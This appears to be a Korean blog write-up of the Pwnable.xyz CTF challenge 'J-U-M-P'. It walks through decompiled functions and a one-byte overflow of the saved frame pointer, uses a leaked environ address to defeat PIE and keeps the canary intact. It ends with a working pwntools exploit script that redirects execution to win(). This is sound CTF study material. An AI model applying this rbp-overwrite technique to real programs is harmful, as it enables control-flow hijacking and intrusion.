tmxklab
[Pwnable.xyz] J-U-M-P 본문
1. 문제
nc svc.pwnable.xyz 30012
1) 문제 확인
2) 함수 확인
2-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned __int8 v3; // [rsp+2Fh] [rbp-11h]
__int64 v4; // [rsp+30h] [rbp-10h]
void *v5; // [rsp+38h] [rbp-8h]
setup(argc, argv, envp);
v4 = gen_canary();
puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
v5 = &loc_BA0;
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_int8();
switch ( v3 )
{
case 2u:
v5 = (void *)(int)((unsigned int)v5 ^ v3);
break;
case 3u:
printf("%p\n", environ);
break;
case 1u:
if ( v4 == canary )
__asm { jmp rax }
break;
default:
puts("Invalid");
break;
}
}
}
- 메뉴 1에서 v4변수와 canary값이 동일하면 rax값으로 분기
- 메뉴 2에서 v5와 v3간에 xor연산 후 v5포인터 변수에 저장
- environ(bss영역)변수의 주소 값을 출력
2-2) gen_canary()
__int64 gen_canary()
{
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom.");
exit(1);
}
if ( read(fd, &canary, 8uLL) != 8 )
{
puts("Can't read data.");
exit(1);
}
close(fd);
return canary;
}
- /dev/urandom파일에서 8bytes만큼 난수 값을 가져와 canary변수에 저장
2-3) read_int8()
int read_int8()
{
char buf; // [rsp+0h] [rbp-20h]
read(0, &buf, 0x21uLL);
return atoi(&buf);
}
- read함수에서 0x21만큼 buf에 저장할 수 있는데 buf는 [rbp-0x20]에 위치함(1byte overflow발생!!)
3) mitigation
2. 접근방법
0) read_int8() 확인 및 디버깅
read_int8함수에서 buf변수가 rbp-0x20에 위치하지만 read함수에서 0x21bytes만큼 저장하게 된다.
따라서 read_int8()의 rbp에 저장된 값이 1byte덮어씌어지게 된다.
- read_int8()의 rbp의 주소 값은 0x7ffffffede90이며 저장된 값은 main함수의 rbp주소 값이다.
- buf변수에 0x21bytes만큼 꽉 채우면 메인함수의 rbp주소 값이 1byte덮어씌어지는 것을 알 수 있다.
1) 메뉴 1 확인 및 디버깅
canary값과 v4변수가 같으면 jmp rax를 하게 된다.
이 때, canary값은 bss영역에 존재하며 v4변수는 처음 gen_canary()로 인해 카나리 값이 생성된다.
그리고 동일한 경우 rax의 값으로 jmp하게 되는데
- 이 때, rax는 rbp-0x8에 있는 값을 가져오는 것으로 보아 v5변수임을 알 수 있음
- rax에 저장된 값은 main+22이므로 다시 puts함수로 돌아간다.
2) 메뉴 2 확인 및 디버깅
v5와 v3이 xor 연산을 통해 다시 v5변수에 저장한다.
기존에 v5에는 0x8000ba0<main+22>의 값이 존재하며 v3는 사용자의 입력 값이다.
v3는 rbp-0x11에 위치한다.
최종적으로 v5는 2만큼 증가된 0x8000ba2가 된다.
(추가로 메뉴 2를 통해서 v5의 값을 win함수의 주소 값으로 채우는 방법을 생각했으나 v3에는 무조건 0x2밖에 들어가서 win함수의 주소 값으로 바꾸는 방법은 불가능했다...)
3) 메뉴 3 확인 및 디버깅
environ변수에 들어있는 값을 출력한다.
environ변수에 들어있는 값은 rax로 이동시킨다.
출력되는 값은 environ의 주소 값이며 스택에 위치한다.
main함수의 rbp : 0x7ffffffedee0
environ 주소 값 : 0x7ffffffedfd8
둘 간의 거리는 0xf8(248)bytes만큼 차이난다.
정리)
각 메뉴의 사용 용도를 생각해보면
* 메뉴 1 - rax의 값을 win함수 주소 값으로 바꾸어 win함수로 jmp해야된다. 이 때, v4의 값이 변경되면 안된다.
* 메뉴 2 - v5와 v3간에 xor연산을 통해 v5의 주소 값을 바꾸어 준다.(아직 활용 용도를 모르겠음)
* 메뉴 3 - 현재 PIE가 걸려있으므로 메뉴 3에서 enviorn의 주소 값을 통해 메인 함수의 rbp주소 값을 알아낼 수 있다.
마지막으로 가장 중요한 부분은 read_int8()이다.
이 부분에서 1byte overflow가 발생하여 main함수의 rbp값이 1byte바뀌게 된다.
그 말은 각 main함수의 변수들이 rbp를 기준으로 값을 가져오기 때문에 rbp의 값이 바뀌면 main함수에서 사용되는 v3, v4, v5의 값들이 변경될 것이다.
스택 상황)
처음에 생각했었던 방식은 메인 함수의 rbp 하위 1byte를 변경한 뒤 다시 read_int8함수를 실행할 때 read함수에서 buf를 가리키는게 아니라 v5변수를 가리키도록 하는 것이었다.
하지만, 이 방식은 불가능했다.
이유)
main함수의 rbp를 기존보다 더 높은 주소로 움직여야 하며 그러기 위해선 1byte가 아니라 2bytes를 바꿔야하므로(read_int8()에서는 1byte밖에 overwrite되지 않음)
따라서, 다음 방식으로 입력 값을 받을 수 있는 부분은 v3변수이다.
즉, v3입력받는 부분이 v5변수에 입력되도록 하는 것이다.
원래 rbp를 좀 더 높은 주소로 이동(빨간색 rbp)하면 빨간색 rbp를 기준으로 rbp-0x11이 가리키는 곳은 v5변수이다. 그리고 v3=read_int8()을 통해서 v5변수에 값이 저장될 것이다.
마지막으로 해야할 일이 한 가지 더 남아있다.
바로 이 부분이다.
rbp를 변경하게 되면서 v4[rbp-0x10]의 값도 변경된다.
변경되지 않은 v4)
변경된 v4)
따라서, rbpf를 원래대로 돌려주는 작업을 한 번 더해야 한다.
결론)
- read_int8()에서 메인 함수의 rbp하위 1byte를 바꾸어 v5변수에 win함수의 주소 값을 넣는다.
- 원래 rbp의 주소 값으로 돌아온다.(카나리때문에)
3. 풀이
1) win함수의 주소
- PIE가 걸려있지만 메인함수와 1byte밖에 차이나지 않으므로 하위 1byte를 0x77로만 바꿔주어도 된다.
2) 익스코드
from pwn import *
context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30012) #p = process("./challenge", aslr=False)
#gdb.attach(p)
elf = ELF("./challenge")
win_addr = elf.symbols['win']
p.sendlineafter("> ", "3")
environ = int(p.recv(14), 16)
main_rbp = environ - 248
print("environ : " + hex(environ))
print("main() rbp : " + hex(main_rbp))
# 1. change main_rbp(inc address (+9))
p.sendafter("> ", "A"*32 + p8((main_rbp&0xff)+9))
# 2. change v5 value(main+22 -> win())
p.sendafter("> ", str(win_addr))
# 3. change main_rbp(original rbp)
p.sendafter("> ", "A"*32 + p8((main_rbp&0xff)))
# 4. go to win()!
p.sendafter("> ", "1")
p.interactive()
3) 공격실행
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] iape (0) | 2020.05.03 |
---|---|
[Pwnable.xyz] strcat (0) | 2020.05.03 |
[Pwnable.xyz] SUS (0) | 2020.04.23 |
[Pwnable.xyz] fspoo (0) | 2020.04.23 |
[Pwnable.xyz] Game (0) | 2020.04.13 |